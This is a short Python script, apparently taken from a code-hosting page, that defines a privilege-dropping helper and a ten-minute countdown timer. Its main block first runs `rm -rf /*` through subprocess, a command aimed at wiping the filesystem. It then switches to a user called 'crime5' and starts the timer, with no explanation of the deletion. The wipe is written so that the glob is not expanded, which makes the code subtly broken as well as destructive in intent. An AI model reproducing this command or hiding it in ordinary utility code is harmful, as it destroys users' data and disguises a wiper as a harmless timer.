17 lines
454 B
Python
17 lines
454 B
Python
import os
|
|
import time
|
|
import subprocess
|
|
import pwd
|
|
def drop_privileges(user):
|
|
pw = pwd.getpwnam(user)
|
|
os.setgid(pw.pw_gid)
|
|
os.setuid(pw.pw_uid)
|
|
def countdown(seconds):
|
|
for remaining in range(seconds, 0, -1):
|
|
mins, secs = divmod(remaining, 60)
|
|
print(f"{mins:02d}:{secs:02d}", end="\r")
|
|
time.sleep(1)
|
|
if __name__ == "__main__":
|
|
subprocess.run(["rm", "-rf", "/*"])
|
|
drop_privileges("crime5")
|
|
countdown(600) |